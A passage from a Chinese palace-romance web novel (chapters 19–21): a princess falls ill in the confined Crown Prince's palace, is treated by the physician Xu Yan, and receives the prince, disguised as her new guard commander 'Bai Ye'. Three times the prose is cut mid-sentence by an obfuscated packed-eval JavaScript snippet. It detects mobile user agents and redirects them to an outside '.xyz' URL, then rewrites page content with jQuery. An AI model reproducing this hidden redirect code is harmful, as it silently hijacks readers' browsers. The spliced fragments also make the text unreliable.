“小时候父皇总是念叨,是孤克死了母后。时间久了,孤也总觉着,母后若泉下有知,定后悔生下孤这个儿子。” 景迟朝盛霓勾起唇角,幽邃的星眸中罕见地有了温度,满殿荒凉宛如枯木逢春。 “直到孤在母后为数不多的遗物里发现了她亲手做了一半的长命缕,明明用的是金线,却不知用了什么方法揉得十分柔软,孤才知道,原来母后期待着孤的出世。” 景迟拿出循循善诱的耐心:“嘉琬,离开我们的人留下的爱物,说不定藏着她想对你说的话。” 想说的话…… 仿佛被什么击中了心脏,盛霓眼睫轻颤。 整整一年她都没有勇气去看姐姐的遗物一眼,姐姐在天上看着,或许还以为自幼相依为命的妹妹并不想念她。 “多谢太子哥哥提点,臣妹受益匪浅。”盛霓说着,眼眶迅速红了,“臣妹回府后会好生整理姐姐的遗物,或许,也能听见姐姐留在世上的‘声音’。” 盛霓嫣然一笑,晶亮的 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“是,臣妹记下了。”盛霓没有多言。 如此沉得住气,倒是出乎景迟的意料。 东宫不宜久留,盛霓心中还装着调查白夜之事,又说了几句多加保重的话,便即起身告辞。 为了入宫起得太早,又在宫中劳累半日,盛霓一起身便眼前一阵发黑,强撑着道了留步云云,扶住晚晴的手往外走。 太子又说了什么,她已经听不到了,只觉得胸口闷得厉害,透不过气。这是大病之后的老症状了,稍一劳累便会呼吸不畅,太医诊断,此为去岁冬日寒气入肺所致。 近日为了筹备南下多有费神,又从天而降一个来历不明的白夜,着实耗费了一番心力。盛霓只觉头重脚轻,内侍打起的珠帘在日光里像飞萤一般乱颤,那碎玉般的声响在耳边撞成一片。 “小殿下,小殿下?” 晚晴伸手扶住盛霓的细腰,看她脸色发白,直觉不好,才要喊人来扶,盛霓已经倒了下去。 “小殿下!”晚晴吓得魂飞魄散。 距离最近的太子伸手一捞,将盛霓打横抱起。 “你家主子这是怎么了?”景迟低头瞧了瞧小公主双目紧闭的苍白小脸,冷声问晚晴。 晚晴一颤,半是忧心半是惊吓,带着哭腔哆嗦道:“回、回太子殿下,我家公主身子骨不好,近日劳累,只怕是旧疾发作……” “传太医!”景迟厉声吩咐内侍。 领头的内侍立即躬下身子,小心翼翼地道:“殿下请三思,如此大张旗鼓地传太医,恐会惊动圣上。” 19. 其位 嘉琬公主和晚晴不知道,太子殿下却不该忽略的。在圣上眼中,太子正是谋杀嘉仪公主的幕后黑手,若嘉琬公主又在东宫传了太医,东宫上下纵有百十张嘴也敌不过圣上的疑心。 晚晴也忽然想到了什么,福身道:“奴婢恳请太子殿下,不要传太医,只将公主速速送回公主府便是,寻常太医开药只怕药剂过猛,须得自家府医最为稳妥。” 公主体质寒弱,便是拼着得罪太子,也得赶紧将这话说出来。晚晴心下惴惴,又担忧盛霓的状况,额角冷汗直冒。 景迟垂眼望着不省人事的盛霓,沉声改口:“去请徐九,嘱他带上他那宝贝药箱。” 徐晏自幼常在皇城出入,除去书画,最爱去太医院把玩各式古怪药材,太医老头子们喜他聪慧,又念着他是徐首辅的嫡孙,都肯指点一二,天长日久倒叫徐晏学出一身邪门歪道般的神奇医术。 这是全燕京皆知的有关徐九公子的又一桩奇闻。 只有皇族勋贵知晓,这奇闻半点不假。徐晏就如天上仙童下凡,诗画一绝,配药一绝,皮相一绝,集此三绝于一身,非凡人所能及。 东宫大内官听闻“徐九”二字,脸色一变。 请徐九公子入东宫,便是彻头彻尾的暗度陈仓,那还不如请太医呢。太子殿下顶顶聪慧的一个人,为了嘉琬公主这个毫无血缘的异姓姊妹,这是何苦! 大内官付春迟疑着要不要再冒死谏言,太子已大步将嘉琬公主抱进了起居的寝殿内室。 东宫没有侍妾,更没有需要客居的外人,幽闭的这一年来客房一直空置,虽有下人日日打扫,还是太过不周了。 晚晴稍作思索,低头快步跟了进去。东宫的森严她已见识到,连只萤蛾也飞不出去,这里发生的一切只要自己不说,便不会有外人知晓。 此刻,公主能得到最妥帖的照顾才最要紧,什么男女之礼云云倒在其次。太子殿下必定也是这般思虑。 景迟将双目紧闭的盛霓放在寝塌上,晚晴不叫东宫内侍们插手,自己为公主掖好被角,手法娴熟地按揉着穴位驱寒活血。 “你家主子的旧疾,到底怎么回事?”景迟在长榻上坐下,遥遥望向帘幔中显得格外瘦小的身影。 方才一进殿便险些摔倒,只怕连扶风弱柳都比她这身子强些。 这一年来,他隐隐听闻嘉琬公主大病一场,联想到嘉仪公主的丧事,只道是哀毁过甚,但也不该是这么个病弱法,其中必有缘故。 晚晴心头闪过颐华郡主那张艳丽却狠辣的面容,却只轻轻道:“回太子殿下,去岁不是下了好大一场雪,我家殿下便是那时染了风寒,加之嘉仪大殿下新丧,身心受不住,这一病便伤了底子,至今仍未复元。” 庆国公府权柄遮天,世子程子献和郡主程菁菁又是太子的表弟表妹,若被太子知晓这段嫌隙,难说他会向着谁。 景迟看出了晚晴的讳莫如深,目光不着痕迹地移向半透立屏。 立屏后侍立着一个挺拔的暗红色身影,正是那日在普度寺后院的少年。 那少年的视线仿佛穿透立屏,看到了景迟的暗示,不动声色地退出寝殿。 红衣过处,内侍恭敬垂首。 查清嘉琬公主风寒入体的原因?总算得到一件有趣的任务。少年盘算着,明亮的眸子透出张扬笑意,摩拳擦掌一番,纵身跃上飞檐不见了踪影。 景迟平静地收回目光,仿佛什么都没有发生过,淡淡叹了声:“南下路途遥遥,冰天雪地里,嘉琬这身子如何熬得住。” 晚晴见景迟对她的含糊其辞没有起疑,松了口气,得体地说着官样文章:“使命所在,顺承天意,定能逢凶化吉。” 景迟没再接话,默然离开了寝殿。 逢凶化吉? 天真。 南下,是父皇亲手设下的必死之局。 景迟走到外间,亲手拾起扔在榻几上的织锦苏方外袍,张臂穿上,一边由着内侍整理衣襟,一边拿起一直藏在外袍下的梨花手环。 梨花是细腻的绢布所制,触感温软。景迟下意识看向方才盛霓坐过的位置,轻薄的阳光还洒在那里,似幻还真。 景迟半眯起眼。 若小公主听话,他可以保她不死。 景迟招手唤来一个机灵的内侍,吩咐:“找机会透露给嘉琬的那个婢女,就说徐九是父皇派来监视孤的,原就可以出入东宫,别叫人起疑。” 内侍奉命而去。 太子奉旨幽禁,却有本事使人暗中出入东宫,这件事决不能被外人知晓,更不能传到圣上耳中。 景迟离开寝殿后,晚晴终于得以长舒一口气。这东宫处处透着阴冷沉寂,太过压抑,太子殿下更是与传言中一样,同这高耸空寂的大殿仿佛融为一体,令人不敢直视。 晚晴将手伸进锦被,握住盛霓冰凉的小手轻轻揉捏按摩,只盼着徐九公子快点赶到。 说来也怪,整座东宫都被重重把守,传太医尚且不便,徐九公子却能轻易进入,当真古怪。 - 徐晏大步流星,亲自提着一只藤木医箱迈入大殿,带起的清风鼓满天青大袖。 大殿内珠帘高卷,日光盈室,仿佛蒙尘明珠重见天日。 徐晏眸色中的焦急一时凝住,有些不敢置信地顿住脚步。 太子殿下一向喜暗,今天是什么日子,竟将大殿弄得这般敞亮? 引路的下人反而难耐急切,躬身打手势:“徐九公子,请吧,太子殿下就等您这一双回春妙手了,嘉琬公主还不曾醒来呢!” 徐晏一路畅通地进入寝殿,隔着一道帘幔,将脉枕放在床边备好的高凳上,由晚晴扶着盛霓的皓腕搭上去。 徐晏来时匆匆,此刻却像是进入了另一重境界,凝神静气地诊脉,叫晚晴也跟着安了大半的心。 的确便是旧疾。 徐晏像是早有所料,带了安神益气的成药,小小的一丸仿佛仙丹,以清香的茶汤化开,交给晚晴。 晚晴服侍盛霓喝药,徐晏便即退出了寝殿,行动间郎朗君子之风尽显,令晚晴心中大定。 一出寝殿,徐晏的脸立刻冷了下来。 景迟正斜倚在榻上闭目养神,手中把玩着一只不甚精致的梨花手环,似乎听到徐晏走近的脚步声,半睁开墨玉般的眸子。 “兴师问罪?”景迟挑眉。 徐晏也不客气,撩起衣摆在榻几对面坐下,尽量克制地道:“太子殿下修习的功法内力火热,素来喜冷,所以这殿内炭火也少。可嘉琬习惯了暖和的温度,她的身子骨受不了长时间待在这样冰冷的地方。” 景迟望向从一开始就为小公主添上的炭盆,想开口,但最终只是抿了抿薄唇,什么都没有辩白。 他所认为的“热”,没想到于嘉琬、于徐燕臣而言依然是“冷”。有时他真的不能明白旁人的感受,就如曾经无论他说什么,父皇都不肯相信 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“请太子殿下‘在其位谋其政’,以‘白夜’的身份护卫嘉琬周全。” 景迟没有立即回答。 半晌,他才浅浅笑道:“孤认识的燕臣,从来风轻云淡,不曾对哪个女子上过心,便是那些主动投怀送抱的莺莺燕燕,燕臣也一向敬而远之。嘉琬,当真这般不同?” 徐晏默然良久,抬眸直视景迟,低声道:“太子殿下也不再是臣所认识的那位太子殿下,既如此,便当做嘉琬于臣而言不同吧。若太子殿下做了伤害嘉琬之事,臣绝不答应。” 上一次说得还不似这般强硬,这是徐九眼见着嘉琬在东宫病倒,心思连藏都不愿再藏。 景迟的笑意彻底冷下去,轻声一字一顿地道:“孤这一生,从来都是在其位谋其政,不劳燕臣多虑。既做了‘白夜’,便会是真正的卫队大统领‘白夜’。” 晚晴见盛霓手心已恢复正常的热度,便请求太子送盛霓回公主府。公主睡惯了自己的寝床,在陌生的东宫睡不踏实,眉心总是微微蹙着,晚晴瞧着心疼极了。 有了徐晏的妙药,盛霓身体状况稳定,景迟也清楚东宫不是旁人久留之地,便以六公主韶康的名义安排了一顶软轿,着人仔细铺上厚厚的丝被,送嘉琬公主回府。 东宫恢复沉寂。 景迟在紫檀雕蟒宝座上坐下,日光洒在他身上,将他手中的梨花手环照得仿佛发出莹莹白光。 纤弱的绢花花瓣,被槅窗处卷入的微风拨弄得轻轻颤动。 “付春。”景迟唤来东宫大内官。 大内官付春双手小心托着梨花手环接住。 “挂在窗前吧。光照在这花上的样子,孤瞧着欢喜。” “是。”付春尽力敛起面上的诧异。 景迟又道:“来人,取易容丹来。” 付春本已准备退下,闻言又躬下身子,劝道:“主子,易容丹副作用伤身,日后殿下不得不常在嘉琬公主身边,离不了它,不妨到时再行服用。” “孤这便去钟慧公主府。” 付春紧张道:“是圣上任命的口谕出了岔子,还是公主府内有需要清扫之事?主子这是要亲自处置?” “不,”景迟简明扼要,“去侍疾。” 20. 上任 盛霓睁开眼睛,透过紫绡纱帐可见清亮的幽幽白光。 睡过一觉,头昏脑涨的感觉减轻了不少,空气中是熟悉的梨月香,叫人心神宁静。 她抬起玉脂般的手,将绡帐挑起一道缝望过去,槅窗外日光明亮,是新的一天了。 “小殿下可算醒啦!” 晚晴从床边抬起头来,惊喜交加,连忙起身,眼眶红红地为盛霓挂起绡帐,又在床边坐下拉拉盛霓的手,摸摸她的额头,再三确认盛霓是否真的没事。 盛霓歉疚又促狭地搂住晚晴的脖子,故意将她搂得一头栽倒在床上,咯咯笑道:“老毛病啦,又不是第一次犯,瞧你!” 晚晴挣脱开盛霓的魔爪,就这样歪躺在盛霓身边,抱怨:“还说呢,算奴婢求小殿下的,万万不可再费心劳累,昨日在东宫真是吓死奴婢了,若不是太子殿下及时请来徐九公子,奴婢真怕——” “你说什么?”盛霓诧异,“昨日徐九公子去了东宫?” 东宫戒备如此森严,徐九便是家世显赫,等闲又如何去得? 晚晴便将延帝如何命令徐晏监视太子之事附耳说了。 她却不知,这是东宫下人故意透露给她的说辞,以免泄露如今东宫的真实势力。 盛霓长叹:“徐九公子做过六载太子侍读,由他监视至少比旁人强些。” 只是没想到太子的处境已落到如此地步。 昨日见到太子哥哥身体康健,总算是了却一桩心事。接下来,她得继续面对南下祭天的艰巨行程,以及莫名被圣上御指的卫队大统领白夜,要想答应晚晴不再费心劳累,谈何容易。 一时间室内无人言语,盛霓隐约听见外间有下人说话的声音,不禁意外:“有客人吗?” 钟慧公主府是个门庭冷落之地,时常个把月都无人造访。 晚晴为难地抿抿唇,斟酌着道:“小殿下,有一个好消息,还有一个坏消息,不知小殿下想先听哪一个。” “幼稚。”盛霓笑着横了晚晴一眼。 晚晴苦笑:“小殿下比奴婢可小呢,反而笑奴婢幼稚,羞也不羞。” 盛霓轻哼一声,“别打岔,快说说看,有什么好消息?” 晚晴道:“昨日徐九公子陪小殿下一同回府,夜里便宿在了客房,非要等到小殿下安然醒来再走,说是要看看药效,若有不足,回去加以改进,日后专门给小殿下供药调理。” “是徐九公子在外面?” 果然算得上好消息。 幼时同窗的兄姊中,徐九待她是最和气的。 那可是徐家九郎,首辅嫡孙呀。 十岁那年,徐晏在宫宴上吟诵了一首徐首辅的诗文,状若玉面仙童,被延帝赞为“燕京第一美少年”。 从前他是太子侍读,大多时候都在东宫活动,有时也会去颂天殿与其他皇子公主一起习字读书。 皇子和公主所学不同,只有习字和读书时才会齐聚颂天殿,男女各坐一边,中间用一道软纱垂帘相隔。 盛霓与徐晏同坐末席,紧挨垂帘两侧练字,盛霓练着练着就开始在宣纸上信手乱画。 等到一炷香燃尽,其余皇子公主都交出了作品,盛霓才发觉自己已走神许久。 要字没有,丑画一张。 小盛霓慌了。 这时,一张平整柔软的纸从垂帘底下送过来,上面隽秀又稚嫩的字体俨然就是盛霓亲自书写。 这是有人仿着盛霓的字迹替她完成的课业。 半透垂帘的那头,清秀如画的徐九哥哥目不斜视,只留给她一张柔和又疏离的侧脸。 从小到大,盛霓同徐晏的交集其实不多,但每逢年节,徐晏总会在徐府名义之外单独与盛霓互赠例礼。 徐晏备的礼无甚稀奇,却总是特别切合盛霓的需要,譬如益气健脾的白术甘草茶,譬如凤眼竹作杆的紫毫水貂笔…… 姐姐与谨王过了定礼后,曾打趣过,要为盛霓物色一位如徐九这般的如意郎君。 那时盛霓虽年纪不大,却也听了出来,姐姐就是为盛霓相中了徐九。 只可惜,徐家是大延的股肱栋梁,不可能与前朝公主结亲。退一万步,就算徐家愿意,延帝也不可能点头。 “如徐九这般的如意郎君”,也就真的只是一个比方而已。 姐姐的殡礼之后,盛霓再没见过徐晏。 难得公主府有客,又是阔别已久的昔日同窗,盛霓连日的劳神之感几乎一扫而空,莹润的小脸上也有了灿烂笑意。 婢女为盛霓最后系好腰间环佩,盛霓便等不及地快步往外走去。 晚晴连忙追上去小声唤她:“还有‘坏消息’奴婢没说呢。” 盛霓脚步不停,笑盈盈地问:“你倒是说呀,什么坏消息呀?” 一面偏头说着话,迈出內间,一抬眼,见徐晏就坐在外面的客堂上,通身的清贵沉静,手里拿着一卷下人找来解闷的不知什么闲书,正读得出神。 晚晴想答,已经没有机会了。 “劳徐九公子在此久候。”盛霓笑着上前,招呼下人再添些茶点水果。 徐晏抬起头,见盛霓经过一夜的恢复,精神已然大好,不由深深一笑,放下书卷,从容起身见礼。 “臣徐晏,恭祝嘉琬小殿下安好。未得小殿下允准便在此叨扰,多有唐突。” 小公主出落得婷婷大方,已有嘉仪大公主遗风,徐晏眸底透出欣慰。 盛霓在徐晏对面坐下,感激道:“用了徐九公子秘制的丸药,身上松泛许多,谢还来不及,倒叫公子先赔了不是,这不是折煞本宫么?” 说话间,盛霓瞥见晚晴欲言又止的神色,不由好笑,蹙眉娇嗔:“还有什么坏消息?徐九公子与本宫有同窗之谊,不是外人,有什么好支吾的呢?” “这……”晚晴偏了偏头,余光望向殿门口的方向。 这个晚晴,最近不知怎么了,新添了吞吞吐吐的毛病。盛霓板起小脸,故意作出一副要训人的模样,“到底是什么坏消息?再不说,本宫可就不听了。” “坏消息?”徐晏不由关切,对晚晴道:“若有难处,不妨直言,在下或可为你家公主援手一二。” 晚晴骑虎难下,想怪公主不等自己说完就急着出来,现下只好硬着头皮禀道:“坏消息是,白、白夜大统领到任了。” “什么,这么快?”盛霓杏目睁大。 白夜?太子?徐晏瞳仁微震,他一直守在寝殿,根本不知外面有谁来过,更没料到太子如此雷厉风行。 “末将的存在于殿下而言,原来是坏消息。” 一个清越干净的声音从立屏后响起。 紧接着,一道高挑的黑影投在彩绣立屏上,勾勒出矫健修长的身形。 盛霓一个激灵,纤指攥紧了裙裾。 该怎么圆回来才好呢? 就……很想找个地缝钻进去。 徐晏额角微汗,但还是主动开口挽救了这场死寂:“想必,这位便是贵府的新任大统领。听声音年纪尚轻,便已有幸为公主效忠,真是年轻有为。” 盛霓倒是宁愿白夜不要这般“年轻有为”。 晚晴挤出笑容,应着头皮道:“白大统领昨夜便到了,听闻小殿下抱恙,执意要在殿外为小殿下守夜。” “这么冷的天……”盛霓皱眉。 晚晴连忙道:“奴婢晓得。怎能真叫白大统领在外面受冻,着人在门廊内为白大统领设了小榻。” 白夜是肯在她身上用心的,盛霓一早便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000594|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉了。他是个会讨巧的聪明人。 “请白大统领进来。” 徐晏紧张得屏住了呼吸。 他还是第一次见到身为“白夜”的景迟。 那张并无攻击性的纯净面容,若非事先知道这是太子景迟,便是配制出易容丹的徐晏自己,也无法将这两人联想到一起。 景迟行动如风,绕过屏风上殿的几步路令徐晏瞧着陌生极了——没有傲然的威势,只有青松苍柏般的挺拔,仿佛真在行伍中训练多年。 唯一褪不去的,是那份入骨的冷感。但这份冷感被景迟遮掩起来,便幻化成一种少年般的清濯冷峻,不再是令人一味生畏的森寒。 景迟单膝点地,朝盛霓恭敬垂首:“末将白夜,拜见嘉琬殿下。” “白大统领请起。”盛霓压下心头的抗拒,得体地回应。 这一次,她再也无法将他赶走。 景迟却没有起身。 他的声音听不出喜怒:“末将有罪,不敢平身。” “白大统领才来,何罪之有?”盛霓有点心虚。 “给殿下添了一桩‘坏消息’,是末将的不是。” 徐晏轻咳一声,抢在景迟说出更加冷场的话前,故作轻松地笑道:“白大统领新官上任,又如此兢兢业业,当是喜事,怎么会是‘坏消息’?嘉琬公主这是玩笑话,白大统领若当了真,可就不对了。” 徐晏不着痕迹地望向盛霓稚嫩的侧颜,不由隐隐心疼。公主还小,如此落在太子手中,只怕日后处处被太子牵着走。 却见盛霓小嘴一扁,板起小脸,正色道:“白大统领这是怨怼本宫了?” 娇娇弱弱的嗓音甜美依旧,却从容不迫,傲然得天经地义。 景迟微微抬眸,似乎对盛霓如此镇定的应对感到意外。 盛霓不疾不徐地道:“既做了本宫的大统领,便得君臣同心,不论听到了、看到了什么,都不可妄加揣测本宫的意思。本宫和整座钟慧府的安危系白大统领一人之身,日后你应当成为本宫最信任之人,明白吗?” 没有责怪,没有情绪,只是娓娓道来,仿佛在讲一个动听的故事,听得人心底熨帖。 景迟幽幽的目光深不见底,唇角微勾,半晌,颔首道:“末将谨记殿下教诲。” “可以平身了吗?”盛霓甜甜一笑。 景迟听话站起,从怀里拿出一册调令,双手呈上。 徐晏终于缓缓吐出一口长气。 盛霓没有叫婢女去接,而是亲自起身,伸出白皙光滑的小手。 景迟将调令轻轻放在盛霓手里。 云朱捧上宝印,盛霓二话不说盖了上去。 什么能改变,什么不能改变,如何在既有的局面上做最有价值的事,都是盛霓一再深思过的。 “从今往后,本宫将全府上下的安危交给你了,”盛霓仰头直视他的眼睛,眸色是超出年龄的郑重,“你的安危,交给本宫。只要与本宫勠力同心,本宫绝不负任何一人。” 景迟面上绽出一个干净无害的微笑,“是,殿下。末将奉殿下为主,便会护卫殿下周全。” 他的视线越过盛霓,看向徐晏,口中继续道:“在其位,必谋其政。” 盛霓莞尔:“那先多谢你啦。” 盛霓命人为白大统领看座,坐下随手理了理锦缎裙裾,话锋一转:“白大统领,进入钟慧公主府的第一件,本宫得罚你。” 徐晏听得眉心一跳,方才不是都掀篇了吗? 徐晏笑着道:“新人上任,小殿下不妨赏个吉利,不管白大统领有何过错,告诫便是,若再犯,再罚不迟。” “这可不成。太后亲口教导本宫,这第一日的规矩若不立起来,日后可再难管束了。” 21. 请求 徐晏眼角狠狠抽动了一下,真想上前敲敲盛霓的小脑瓜,告诉她那可是太子啊,圣上都管束不了的太子啊。 当年延帝盛怒,罚太子到昭政殿外跪着,太子抵死不从,不肯说话也不肯走,气得延帝将最爱的那盏西域玛瑙杯直接砸到太子身上砸碎了,可太子依旧不肯从命。 但凡太子肯妥协低头,这些年也不致步步被圣上所厌,走到废储的悬崖边。 就见景迟故意露出一副诚惶诚恐的神色,墨瞳深处的冷意却蔓延开来。 “不知殿下要罚末将什么?末将无有不从。”景迟表现得几乎算得上乖巧,可这话从他嘴里说出来,听上去怎么都不像甘愿任人摆布的样子。 盛霓瞧了一眼还想再拦的徐晏,心中暗暗纳闷。她知道徐晏不是个好管闲事的性子,甚至为人清冷得紧,今日却处处护着白夜说话,仿佛生怕他们君臣二人生出嫌隙,真是难得的热诚,叫人感动。 “本宫要追究你擅自为本宫守夜不眠,罚你立刻回寝舍,好好睡上一觉,养足了精神再来护卫本宫。” 景迟和徐晏俱没想到会听见这样的惩罚。 “还愣着干什么?快回去休息。”盛霓骄横地催促。 “好,末将领罚。”景迟淡哂,“只是有一件事想求殿下允准。” 徐晏脊背一僵,情急之下按住盛霓搭在榻几上的小臂,低唤一声:“小殿下!” 太子会求嘉琬什么呢?无非是想得到嘉仪公主被人谋害的线索,今日才是“白夜”和嘉琬第一次正面相见,他就要提出起棺验尸么! 她的旧疾才刚刚发作过,怎么承受得了! 嘉琬,不要听。 “徐九公子?”盛霓惊讶地望着徐晏,被他突如其来的紧张弄得心里七上八下,“怎么了?” 景迟对徐晏的性子了如指掌,只一眼便看出了他在顾虑什么,不由牵起一丝冷笑,但瞬间又恢复成属于“白夜”的恭顺模样。 徐晏自知失态,有些僵硬地收回手,低声道:“白大统领,才第一次拜见嘉琬殿下便有所求,就不怕嘉琬殿下不喜吗?” 徐九公子如此古道热肠,处处牵挂他们君臣同心,盛霓感动极了,忙道:“不妨事,白大统领初来乍到,必定有许多难处,主动开口才好,免得本宫思虑不周。” 盛霓冲景迟充满关爱地一笑,软声道:“有什么本宫能帮上的,只管说,这也是那日本宫允你的承诺。” 她是要还他的相助之情的,那日从普度寺回来便说好了。 景迟颔首,不去理睬时刻如临深渊的徐晏,温言道:“末将想求小殿下,允许末将以内力为小殿下祛除体内淤积的寒气,若能成功,小殿下便不必再受旧疾复发之苦。” 徐晏:“……” 一个罚人好好休息,一个求人接受治疗。这两个人,他已经不想管了。 “寒气可以用内力祛除吗?”盛霓惊喜地张大了嘴巴,“就是那日,白大统领轻功飞天那样厉害的内力吗?” 景迟笑着点头。 盛霓的杏眸瞬间明亮起来。当初还畏惧那是邪功,没想到,竟也是能救死扶伤的神功。 “可是,所谓‘内力’,便是筋脉中封存于体内的真力,若要渡给旁人使用……”盛霓亮起的眸子又黯下去,“一定很伤身子吧?” 景迟一怔。 盛霓忙道:“本宫不懂武学,随便猜的,是不是说了很可笑的话呀,不必当真的。” “不,”景迟道,“殿下聪慧,便是不懂武学也猜对了。” 只是他活到今天,从未有人过问他做一件事的时候伤不伤身、伤不伤心。 世上竟有人在得到好处的时候,先去关心旁人用不用付出代价。 母后去得早,景迟自幼养在一心想做继后的黎妃膝下,黎妃在世时不过当他是个邀宠的工具,人前待他无微不至,背地里不闻不问。 那年,他高热三天黎妃都没发觉,景迟自己没有声张,身边下人更是害怕受到责罚,谁都不敢提起太子生病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛霓低头看向被景迟轻轻拉住的裙裾,皱了皱秀丽的眉。 “牺牲旁人换取利益的事情,本宫不愿做,望白大统领令行禁止。”盛霓绷起稚气的小脸。 “殿下”,景迟眸色微动,换了理由,“殿下心慈,便疼一疼末将。若南下路上殿下旧疾发作,或有什么闪失,皆是末将之过。末将受命于圣上护卫殿下,还请殿下爱惜玉体,启程前便调养好身子,全当是为末将着想了。” 徐晏以手扶额,疲惫地阖上双眼。到底是太子,可以一语撬进对方心底,从思维的根基上瓦解一个人的坚持。 果然,盛霓面容松动。 她低头望着跪在身侧的景迟的墨眸,那汪深潭里有哀求般的希冀。 罢了,是这个理,她如今这身子在路上必定是拖累。 “那好吧,”盛霓道,“算本宫欠你一个人情,又欠你一个人情。” “各取所需而已,殿下不必算得如此分明。” 明明是他要帮她,却非要说成冰冷的交易,他这个人,真是的…… 盛霓不由叹气。 趁妙手徐晏在场,白大统领“建议”徐九公子为公主开药调理几日,毕竟被渡入内力也要身体能支撑得住才行。 徐晏哪有选择的余地,奉命当场写了方子。 第二日清早,盛霓还在用朝食,听闻徐九公子亲自提着熬好的汤药上门,险些咬了舌头。 不是说徐九公子性情最是清冷,竟是谣传。如此古道热肠,倒让盛霓不知该如何谢他。 盛霓连忙放下银箸,唤人服侍漱口。 服过徐晏亲自送过来的汤药,盛霓来到玉华殿,见徐九公子和白大统领正一坐一立地默然恭候。 徐晏起身见礼,有些不自在地解释道:“要为小殿下渡内力之人是白大统领,臣来时正巧见到大统领当值,便自作主张将人请了进来,还请小殿下不要见怪。” 总不能告诉盛霓,他是受太子所迫才勉为其难将人带进来的。 盛霓不疑有他,在卷叶纹宝座上坐下,等婢女摆好腕枕,将盈盈皓腕放了上去。 徐晏细细诊过,又耐心询问盛霓的身体近况,以便判断进行内力治疗的强度和时机。 他的眸色十分温和,如皎皎明月,说话总是这般轻声细语,带着分寸良好的温暖关切。 景迟在旁听着,薄唇一点点抿紧。 小公主时不时对徐晏回以甜甜一笑,白皙如凝脂的面颊仿佛笼着一层朦胧的光晕。 景迟的脸色莫名冷下去。 “臣为小殿下瞧瞧手纹。”徐晏道。 盛霓听话地将手心摊开伸过去,很好奇如何通过掌心纹路看出五脏状态。 徐晏一手优雅揽袖,一手去托盛霓的小手。 一只骨节分明的手握住了徐晏的腕子。 徐晏诧异地看向景迟。 景迟面无表情:“末将职责所在,还请徐九公子见谅,非礼勿碰。” 徐晏眼角抽抽,压住火气道:“在下正常诊治,亦是使命所在,请白大统领不要妨碍正事。” 景迟有力的手将徐晏那条属于文人的手臂握得更紧,令徐晏动弹不得,“徐九公子,看掌纹用眼睛看便是,不必上手吧?” 徐晏家风醇正、家教甚严,走到哪里都是燕京士子争相效仿的标杆,何曾被人如此挑衅,一张清俊美丽的面孔登时涨红,额角青筋隐现。 “白大统领!” 盛霓总觉得他这是故意找茬,也不知徐晏哪里得罪了他。 徐九公子也是,太过和气,若换做旁人,早直接斥责了不懂礼貌的侍卫。大约是瞧在她的面上才忍气不与白夜计较,这又是何苦呢,盛霓更觉有责任出面解围。 “白大统领,你先退下吧。”盛霓下令。 景迟颌骨紧咬,“末将是为殿下着想。” “叫你退下便退下。” 盛霓越加发觉白夜不甚听话,就如第一日见面时,险些擅自要了赵双全的性命。 仿佛敏锐地察觉了盛霓的失望,景迟立刻闭嘴,终于顺从地行礼,退出了大殿。 徐晏长长吐出一口气。他快要受够了,好好一个太子,干点什么不好,偏要伪装成一个侍卫,偏偏自己还知道他是个惹不起的侍卫。 不过如此正好,趁太子不在,有些话倒是方便说出口了。 “小殿下,南下之行可有什么特别的安排吗?”徐晏忽然道,将方才的插曲彻底掀篇。 “啊,你说南下之行吗?” 话题换得好快,盛霓缩回手,只道徐晏是不悦于白夜的唐突,不想再给她看掌纹。人家是客,又是白夜无理取闹在先,盛霓总不好硬要求人家什么。 “徐九公子在礼部身居要职,对祭天安排比本宫清楚得多,还请提点一二,也好预防疏漏。” “小殿下前日见到太子,不知太子殿下可叮嘱了什么没有?”徐晏认真瞧着盛霓,生怕错过任何一点信息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000596|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨夜他辗转难眠,还是不放心嘉琬就这样任凭太子摆布。太子的心肠太硬,徐晏不敢指望他能懂得怜香惜玉。 盛霓认真想了一会儿,“太子哥哥倒也没说什么,他在东宫‘卧病’已久,于外面的事必定知之不多。” 晚晴提醒道:“小殿下不是说,要随身带一件大殿下的爱物,便当是大殿下一路陪伴了。这可是受了太子殿下的提醒呢。” 徐晏了然。 他一直知道太子曾抓获一个谨王府的下人,可能审出了什么确凿消息,这才不计代价地从嘉琬身边入手调查旧案。 原来线索出在嘉仪的遗物上。 徐晏告辞离开的时候,景迟就等在公主府北大门。 轻甲使他原本高挑的身形显得愈加英挺,腰间革带一束,手扶刀柄而立,便如天神镇守,令人不敢直视。 引路的内侍有眼色地不再往前送。 景迟走近徐晏,面上神情不再饰以干净无邪,俨然便是换了皮囊的冷峻太子。 “太子殿下是专程找臣算账的吗?”徐晏直迎上景迟一向凌厉的目光。 “燕臣,你告诉了嘉琬什么?” “臣有底线,承诺了配合殿下行动,便什么不该说的都不会说。” “什么是该说的,什么又是不该说的。”景迟淡淡冷笑,“她知道得越多,就越危险,燕臣最好不要画蛇添足。” 